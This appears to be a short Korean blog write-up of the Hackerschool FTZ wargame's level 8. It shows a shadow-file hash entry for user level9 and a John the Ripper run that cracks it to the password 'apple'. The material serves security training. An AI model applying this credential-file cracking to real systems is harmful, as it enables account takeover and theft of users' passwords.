level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


shadow 파일을 John the ripper를 이용해 크랙할 수 있다.

C:\john1701\run>john-386.exe shadow.txt
Loaded 1 password hash (FreeBSD MD5 [32/32])
apple            (level9)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 4698  trying: apple

level9 user의 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret